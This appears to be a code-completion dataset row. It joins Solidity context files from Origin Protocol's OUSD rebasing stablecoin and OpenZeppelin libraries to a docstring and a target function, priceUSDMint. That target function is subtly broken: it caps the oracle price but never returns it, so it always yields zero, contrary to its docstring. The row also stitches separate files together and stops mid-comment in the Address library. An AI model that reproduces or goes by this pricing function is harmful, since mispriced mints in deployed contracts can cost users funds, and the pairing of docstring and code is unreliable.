* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity ^0.8.0;
/**
* @title Platform interface to integrate with lending platform like Compound, AAVE etc.
*/
interface IStrategy {
/**
* @dev Deposit the given asset to platform
* @param _asset asset address
* @param _amount Amount to deposit
*/
function deposit(address _asset, uint256 _amount) external;
/**
* @dev Deposit the entire balance of all supported assets in the Strategy
* to the platform
*/
function depositAll() external;
/**
* @dev Withdraw given asset from Lending platform
*/
function withdraw(
address _recipient,
address _asset,
uint256 _amount
) external;
/**
* @dev Liquidate all assets in strategy and return them to Vault.
*/
function withdrawAll() external;
/**
* @dev Returns the current balance of the given asset.
*/
function checkBalance(address _asset)
external
view
returns (uint256 balance);
/**
* @dev Returns bool indicating whether strategy supports asset.
*/
function supportsAsset(address _asset) external view returns (bool);
/**
* @dev Collect reward tokens from the Strategy.
*/
function collectRewardTokens() external;
/**
* @dev The address array of the reward tokens for the Strategy.
*/
function getRewardTokenAddresses() external view returns (address[] memory);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity ^0.8.0;
/**
* @title OUSD Governable Contract
* @dev Copy of the openzeppelin Ownable.sol contract with nomenclature change
* from owner to governor and renounce methods removed. Does not use
* Context.sol like Ownable.sol does for simplification.
* @author Origin Protocol Inc
*/
contract Governable {
// Storage position of the owner and pendingOwner of the contract
// keccak256("OUSD.governor");
bytes32 private constant governorPosition =
0x7bea13895fa79d2831e0a9e28edede30099005a50d652d8957cf8a607ee6ca4a;
// keccak256("OUSD.pending.governor");
bytes32 private constant pendingGovernorPosition =
0x44c4d30b2eaad5130ad70c3ba6972730566f3e6359ab83e800d905c61b1c51db;
// keccak256("OUSD.reentry.status");
bytes32 private constant reentryStatusPosition =
0x53bf423e48ed90e97d02ab0ebab13b2a235a6bfbe9c321847d5c175333ac4535;
// See OpenZeppelin ReentrancyGuard implementation
uint256 constant _NOT_ENTERED = 1;
uint256 constant _ENTERED = 2;
event PendingGovernorshipTransfer(
address indexed previousGovernor,
address indexed newGovernor
);
event GovernorshipTransferred(
address indexed previousGovernor,
address indexed newGovernor
);
/**
* @dev Initializes the contract setting the deployer as the initial Governor.
*/
constructor() {
_setGovernor(msg.sender);
emit GovernorshipTransferred(address(0), _governor());
}
/**
* @dev Returns the address of the current Governor.
*/
function governor() public view returns (address) {
return _governor();
}
/**
* @dev Returns the address of the current Governor.
*/
function _governor() internal view returns (address governorOut) {
bytes32 position = governorPosition;
assembly {
governorOut := sload(position)
}
}
/**
* @dev Returns the address of the pending Governor.
*/
function _pendingGovernor()
internal
view
returns (address pendingGovernor)
{
bytes32 position = pendingGovernorPosition;
assembly {
pendingGovernor := sload(position)
}
}
/**
* @dev Throws if called by any account other than the Governor.
*/
modifier onlyGovernor() {
require(isGovernor(), "Caller is not the Governor");
_;
}
/**
* @dev Returns true if the caller is the current Governor.
*/
function isGovernor() public view returns (bool) {
return msg.sender == _governor();
}
function _setGovernor(address newGovernor) internal {
bytes32 position = governorPosition;
assembly {
sstore(position, newGovernor)
}
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
bytes32 position = reentryStatusPosition;
uint256 _reentry_status;
assembly {
_reentry_status := sload(position)
}
// On the first call to nonReentrant, _notEntered will be true
require(_reentry_status != _ENTERED, "Reentrant call");
// Any calls to nonReentrant after this point will fail
assembly {
sstore(position, _ENTERED)
}
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
assembly {
sstore(position, _NOT_ENTERED)
}
}
function _setPendingGovernor(address newGovernor) internal {
bytes32 position = pendingGovernorPosition;
assembly {
sstore(position, newGovernor)
}
}
/**
* @dev Transfers Governance of the contract to a new account (`newGovernor`).
* Can only be called by the current Governor. Must be claimed for this to complete
* @param _newGovernor Address of the new Governor
*/
function transferGovernance(address _newGovernor) external onlyGovernor {
_setPendingGovernor(_newGovernor);
emit PendingGovernorshipTransfer(_governor(), _newGovernor);
}
/**
* @dev Claim Governance of the contract to a new account (`newGovernor`).
* Can only be called by the new Governor.
*/
function claimGovernance() external {
require(
msg.sender == _pendingGovernor(),
"Only the pending Governor can complete the claim"
);
_changeGovernor(msg.sender);
}
/**
* @dev Change Governance of the contract to a new account (`newGovernor`).
* @param _newGovernor Address of the new Governor
*/
function _changeGovernor(address _newGovernor) internal {
require(_newGovernor != address(0), "New Governor is address(0)");
emit GovernorshipTransferred(_governor(), _newGovernor);
_setGovernor(_newGovernor);
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity ^0.8.0;
/**
* @title OUSD Token Contract
* @dev ERC20 compatible contract for OUSD
* @dev Implements an elastic supply
* @author Origin Protocol Inc
*/
import { SafeMath } from "@openzeppelin/contracts/utils/math/SafeMath.sol";
import { Address } from "@openzeppelin/contracts/utils/Address.sol";
import { Initializable } from "../utils/Initializable.sol";
import { InitializableERC20Detailed } from "../utils/InitializableERC20Detailed.sol";
import { StableMath } from "../utils/StableMath.sol";
import { Governable } from "../governance/Governable.sol";
/**
* NOTE that this is an ERC20 token but the invariant that the sum of
* balanceOf(x) for all x is not >= totalSupply(). This is a consequence of the
* rebasing design. Any integrations with OUSD should be aware.
*/
contract OUSD is Initializable, InitializableERC20Detailed, Governable {
using SafeMath for uint256;
using StableMath for uint256;
event TotalSupplyUpdatedHighres(
uint256 totalSupply,
uint256 rebasingCredits,
uint256 rebasingCreditsPerToken
);
enum RebaseOptions {
NotSet,
OptOut,
OptIn
}
uint256 private constant MAX_SUPPLY = ~uint128(0); // (2^128) - 1
uint256 public _totalSupply;
mapping(address => mapping(address => uint256)) private _allowances;
address public vaultAddress = address(0);
mapping(address => uint256) private _creditBalances;
uint256 private _rebasingCredits;
uint256 private _rebasingCreditsPerToken;
// Frozen address/credits are non rebasing (value is held in contracts which
// do not receive yield unless they explicitly opt in)
uint256 public nonRebasingSupply;
mapping(address => uint256) public nonRebasingCreditsPerToken;
mapping(address => RebaseOptions) public rebaseState;
mapping(address => uint256) public isUpgraded;
uint256 private constant RESOLUTION_INCREASE = 1e9;
function initialize(
string calldata _nameArg,
string calldata _symbolArg,
address _vaultAddress
) external onlyGovernor initializer {
InitializableERC20Detailed._initialize(_nameArg, _symbolArg, 18);
_rebasingCreditsPerToken = 1e18;
vaultAddress = _vaultAddress;
}
/**
* @dev Verifies that the caller is the Vault contract
*/
modifier onlyVault() {
require(vaultAddress == msg.sender, "Caller is not the Vault");
_;
}
/**
* @return The total supply of OUSD.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @return Low resolution rebasingCreditsPerToken
*/
function rebasingCreditsPerToken() public view returns (uint256) {
return _rebasingCreditsPerToken / RESOLUTION_INCREASE;
}
/**
* @return Low resolution total number of rebasing credits
*/
function rebasingCredits() public view returns (uint256) {
return _rebasingCredits / RESOLUTION_INCREASE;
}
/**
* @return High resolution rebasingCreditsPerToken
*/
function rebasingCreditsPerTokenHighres() public view returns (uint256) {
return _rebasingCreditsPerToken;
}
/**
* @return High resolution total number of rebasing credits
*/
function rebasingCreditsHighres() public view returns (uint256) {
return _rebasingCredits;
}
/**
* @dev Gets the balance of the specified address.
* @param _account Address to query the balance of.
* @return A uint256 representing the amount of base units owned by the
* specified address.
*/
function balanceOf(address _account)
public
view
override
returns (uint256)
{
if (_creditBalances[_account] == 0) return 0;
return
_creditBalances[_account].divPrecisely(_creditsPerToken(_account));
}
/**
* @dev Gets the credits balance of the specified address.
* @dev Backwards compatible with old low res credits per token.
* @param _account The address to query the balance of.
* @return (uint256, uint256) Credit balance and credits per token of the
* address
*/
function creditsBalanceOf(address _account)
public
view
returns (uint256, uint256)
{
uint256 cpt = _creditsPerToken(_account);
if (cpt == 1e27) {
// For a period before the resolution upgrade, we created all new
// contract accounts at high resolution. Since they are not changing
// as a result of this upgrade, we will return their true values
return (_creditBalances[_account], cpt);
} else {
return (
_creditBalances[_account] / RESOLUTION_INCREASE,
cpt / RESOLUTION_INCREASE
);
}
}
/**
* @dev Gets the credits balance of the specified address.
* @param _account The address to query the balance of.
* @return (uint256, uint256, bool) Credit balance, credits per token of the
* address, and isUpgraded
*/
function creditsBalanceOfHighres(address _account)
public
view
returns (
uint256,
uint256,
bool
)
{
return (
_creditBalances[_account],
_creditsPerToken(_account),
isUpgraded[_account] == 1
);
}
/**
* @dev Transfer tokens to a specified address.
* @param _to the address to transfer to.
* @param _value the amount to be transferred.
* @return true on success.
*/
function transfer(address _to, uint256 _value)
public
override
returns (bool)
{
require(_to != address(0), "Transfer to zero address");
require(
_value <= balanceOf(msg.sender),
"Transfer greater than balance"
);
_executeTransfer(msg.sender, _to, _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* @param _from The address you want to send tokens from.
* @param _to The address you want to transfer to.
* @param _value The amount of tokens to be transferred.
*/
function transferFrom(
address _from,
address _to,
uint256 _value
) public override returns (bool) {
require(_to != address(0), "Transfer to zero address");
require(_value <= balanceOf(_from), "Transfer greater than balance");
_allowances[_from][msg.sender] = _allowances[_from][msg.sender].sub(
_value
);
_executeTransfer(_from, _to, _value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Update the count of non rebasing credits in response to a transfer
* @param _from The address you want to send tokens from.
* @param _to The address you want to transfer to.
* @param _value Amount of OUSD to transfer
*/
function _executeTransfer(
address _from,
address _to,
uint256 _value
) internal {
bool isNonRebasingTo = _isNonRebasingAccount(_to);
bool isNonRebasingFrom = _isNonRebasingAccount(_from);
// Credits deducted and credited might be different due to the
// differing creditsPerToken used by each account
uint256 creditsCredited = _value.mulTruncate(_creditsPerToken(_to));
uint256 creditsDeducted = _value.mulTruncate(_creditsPerToken(_from));
_creditBalances[_from] = _creditBalances[_from].sub(
creditsDeducted,
"Transfer amount exceeds balance"
);
_creditBalances[_to] = _creditBalances[_to].add(creditsCredited);
if (isNonRebasingTo && !isNonRebasingFrom) {
// Transfer to non-rebasing account from rebasing account, credits
// are removed from the non rebasing tally
nonRebasingSupply = nonRebasingSupply.add(_value);
// Update rebasingCredits by subtracting the deducted amount
_rebasingCredits = _rebasingCredits.sub(creditsDeducted);
} else if (!isNonRebasingTo && isNonRebasingFrom) {
// Transfer to rebasing account from non-rebasing account
// Decreasing non-rebasing credits by the amount that was sent
nonRebasingSupply = nonRebasingSupply.sub(_value);
// Update rebasingCredits by adding the credited amount
_rebasingCredits = _rebasingCredits.add(creditsCredited);
}
}
/**
* @dev Function to check the amount of tokens that _owner has allowed to
* `_spender`.
* @param _owner The address which owns the funds.
* @param _spender The address which will spend the funds.
* @return The number of tokens still available for the _spender.
*/
function allowance(address _owner, address _spender)
public
view
override
returns (uint256)
{
return _allowances[_owner][_spender];
}
/**
* @dev Approve the passed address to spend the specified amount of tokens
* on behalf of msg.sender. This method is included for ERC20
* compatibility. `increaseAllowance` and `decreaseAllowance` should be
* used instead.
*
* Changing an allowance with this method brings the risk that someone
* may transfer both the old and the new allowance - if they are both
* greater than zero - if a transfer transaction is mined before the
* later approve() call is mined.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value)
public
override
returns (bool)
{
_allowances[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner has allowed to
* `_spender`.
* This method should be used instead of approve() to avoid the double
* approval vulnerability described above.
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address _spender, uint256 _addedValue)
public
returns (bool)
{
_allowances[msg.sender][_spender] = _allowances[msg.sender][_spender]
.add(_addedValue);
emit Approval(msg.sender, _spender, _allowances[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner has allowed to
`_spender`.
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance
* by.
*/
function decreaseAllowance(address _spender, uint256 _subtractedValue)
public
returns (bool)
{
uint256 oldValue = _allowances[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
_allowances[msg.sender][_spender] = 0;
} else {
_allowances[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, _allowances[msg.sender][_spender]);
return true;
}
/**
* @dev Mints new tokens, increasing totalSupply.
*/
function mint(address _account, uint256 _amount) external onlyVault {
_mint(_account, _amount);
}
/**
* @dev Creates `_amount` tokens and assigns them to `_account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address _account, uint256 _amount) internal nonReentrant {
require(_account != address(0), "Mint to the zero address");
bool isNonRebasingAccount = _isNonRebasingAccount(_account);
uint256 creditAmount = _amount.mulTruncate(_creditsPerToken(_account));
_creditBalances[_account] = _creditBalances[_account].add(creditAmount);
// If the account is non rebasing and doesn't have a set creditsPerToken
// then set it i.e. this is a mint from a fresh contract
if (isNonRebasingAccount) {
nonRebasingSupply = nonRebasingSupply.add(_amount);
} else {
_rebasingCredits = _rebasingCredits.add(creditAmount);
}
_totalSupply = _totalSupply.add(_amount);
require(_totalSupply < MAX_SUPPLY, "Max supply");
emit Transfer(address(0), _account, _amount);
}
/**
* @dev Burns tokens, decreasing totalSupply.
*/
function burn(address account, uint256 amount) external onlyVault {
_burn(account, amount);
}
/**
* @dev Destroys `_amount` tokens from `_account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `_account` cannot be the zero address.
* - `_account` must have at least `_amount` tokens.
*/
function _burn(address _account, uint256 _amount) internal nonReentrant {
require(_account != address(0), "Burn from the zero address");
if (_amount == 0) {
return;
}
bool isNonRebasingAccount = _isNonRebasingAccount(_account);
uint256 creditAmount = _amount.mulTruncate(_creditsPerToken(_account));
uint256 currentCredits = _creditBalances[_account];
// Remove the credits, burning rounding errors
if (
currentCredits == creditAmount || currentCredits - 1 == creditAmount
) {
// Handle dust from rounding
_creditBalances[_account] = 0;
} else if (currentCredits > creditAmount) {
_creditBalances[_account] = _creditBalances[_account].sub(
creditAmount
);
} else {
revert("Remove exceeds balance");
}
// Remove from the credit tallies and non-rebasing supply
if (isNonRebasingAccount) {
nonRebasingSupply = nonRebasingSupply.sub(_amount);
} else {
_rebasingCredits = _rebasingCredits.sub(creditAmount);
}
_totalSupply = _totalSupply.sub(_amount);
emit Transfer(_account, address(0), _amount);
}
/**
* @dev Get the credits per token for an account. Returns a fixed amount
* if the account is non-rebasing.
* @param _account Address of the account.
*/
function _creditsPerToken(address _account)
internal
view
returns (uint256)
{
if (nonRebasingCreditsPerToken[_account] != 0) {
return nonRebasingCreditsPerToken[_account];
} else {
return _rebasingCreditsPerToken;
}
}
/**
* @dev Is an account using rebasing accounting or non-rebasing accounting?
* Also, ensure contracts are non-rebasing if they have not opted in.
* @param _account Address of the account.
*/
function _isNonRebasingAccount(address _account) internal returns (bool) {
bool isContract = Address.isContract(_account);
if (isContract && rebaseState[_account] == RebaseOptions.NotSet) {
_ensureRebasingMigration(_account);
}
return nonRebasingCreditsPerToken[_account] > 0;
}
/**
* @dev Ensures internal account for rebasing and non-rebasing credits and
* supply is updated following deployment of frozen yield change.
*/
function _ensureRebasingMigration(address _account) internal {
if (nonRebasingCreditsPerToken[_account] == 0) {
if (_creditBalances[_account] == 0) {
// Since there is no existing balance, we can directly set to
// high resolution, and do not have to do any other bookkeeping
nonRebasingCreditsPerToken[_account] = 1e27;
} else {
// Migrate an existing account:
// Set fixed credits per token for this account
nonRebasingCreditsPerToken[_account] = _rebasingCreditsPerToken;
// Update non rebasing supply
nonRebasingSupply = nonRebasingSupply.add(balanceOf(_account));
// Update credit tallies
_rebasingCredits = _rebasingCredits.sub(
_creditBalances[_account]
);
}
}
}
/**
* @dev Add a contract address to the non-rebasing exception list. The
* address's balance will be part of rebases and the account will be exposed
* to upside and downside.
*/
function rebaseOptIn() public nonReentrant {
require(_isNonRebasingAccount(msg.sender), "Account has not opted out");
// Convert balance into the same amount at the current exchange rate
uint256 newCreditBalance = _creditBalances[msg.sender]
.mul(_rebasingCreditsPerToken)
.div(_creditsPerToken(msg.sender));
// Decreasing non rebasing supply
nonRebasingSupply = nonRebasingSupply.sub(balanceOf(msg.sender));
_creditBalances[msg.sender] = newCreditBalance;
// Increase rebasing credits, totalSupply remains unchanged so no
// adjustment necessary
_rebasingCredits = _rebasingCredits.add(_creditBalances[msg.sender]);
rebaseState[msg.sender] = RebaseOptions.OptIn;
// Delete any fixed credits per token
delete nonRebasingCreditsPerToken[msg.sender];
}
/**
* @dev Explicitly mark that an address is non-rebasing.
*/
function rebaseOptOut() public nonReentrant {
require(!_isNonRebasingAccount(msg.sender), "Account has not opted in");
// Increase non rebasing supply
nonRebasingSupply = nonRebasingSupply.add(balanceOf(msg.sender));
// Set fixed credits per token
nonRebasingCreditsPerToken[msg.sender] = _rebasingCreditsPerToken;
// Decrease rebasing credits, total supply remains unchanged so no
// adjustment necessary
_rebasingCredits = _rebasingCredits.sub(_creditBalances[msg.sender]);
// Mark explicitly opted out of rebasing
rebaseState[msg.sender] = RebaseOptions.OptOut;
}
/**
* @dev Modify the supply without minting new tokens. This uses a change in
* the exchange rate between "credits" and OUSD tokens to change balances.
* @param _newTotalSupply New total supply of OUSD.
*/
function changeSupply(uint256 _newTotalSupply)
external
onlyVault
nonReentrant
{
require(_totalSupply > 0, "Cannot increase 0 supply");
if (_totalSupply == _newTotalSupply) {
emit TotalSupplyUpdatedHighres(
_totalSupply,
_rebasingCredits,
_rebasingCreditsPerToken
);
return;
}
_totalSupply = _newTotalSupply > MAX_SUPPLY
? MAX_SUPPLY
: _newTotalSupply;
_rebasingCreditsPerToken = _rebasingCredits.divPrecisely(
_totalSupply.sub(nonRebasingSupply)
);
require(_rebasingCreditsPerToken > 0, "Invalid change in supply");
_totalSupply = _rebasingCredits
.divPrecisely(_rebasingCreditsPerToken)
.add(nonRebasingSupply);
emit TotalSupplyUpdatedHighres(
_totalSupply,
_rebasingCredits,
_rebasingCreditsPerToken
);
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity ^0.8.0;
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(
initializing || !initialized,
"Initializable: contract is already initialized"
);
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
uint256[50] private ______gap;
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity ^0.8.0;
import { IBasicToken } from "../interfaces/IBasicToken.sol";
library Helpers {
/**
* @notice Fetch the `symbol()` from an ERC20 token
* @dev Grabs the `symbol()` from a contract
* @param _token Address of the ERC20 token
* @return string Symbol of the ERC20 token
*/
function getSymbol(address _token) internal view returns (string memory) {
string memory symbol = IBasicToken(_token).symbol();
return symbol;
}
/**
* @notice Fetch the `decimals()` from an ERC20 token
* @dev Grabs the `decimals()` from a contract and fails if
* the decimal value does not live within a certain range
* @param _token Address of the ERC20 token
* @return uint256 Decimals of the ERC20 token
*/
function getDecimals(address _token) internal view returns (uint256) {
uint256 decimals = IBasicToken(_token).decimals();
require(
decimals >= 4 && decimals <= 18,
"Token must have sufficient decimal places"
);
return decimals;
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity ^0.8.0;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @dev Optional functions from the ERC20 standard.
* Converted from openzeppelin/contracts/token/ERC20/ERC20Detailed.sol
*/
abstract contract InitializableERC20Detailed is IERC20 {
// Storage gap to skip storage from prior to OUSD reset
uint256[100] private _____gap;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
* @notice To avoid variable shadowing appended `Arg` after arguments name.
*/
function _initialize(
string memory nameArg,
string memory symbolArg,
uint8 decimalsArg
) internal {
_name = nameArg;
_symbol = symbolArg;
_decimals = decimalsArg;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity ^0.8.0;
interface IBasicToken {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
|
Returns the total price in 18 digit USD for a given asset. Never goes above 1, since that is how we price mints asset address of the asset return uint256 USD price of 1 of the asset, in 18 decimal fixed/
|
function priceUSDMint(address asset) external view returns (uint256) {
uint256 price = IOracle(priceProvider).price(asset);
if (price > 1e8) {
price = 1e8;
}
}
| 6,980,563 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
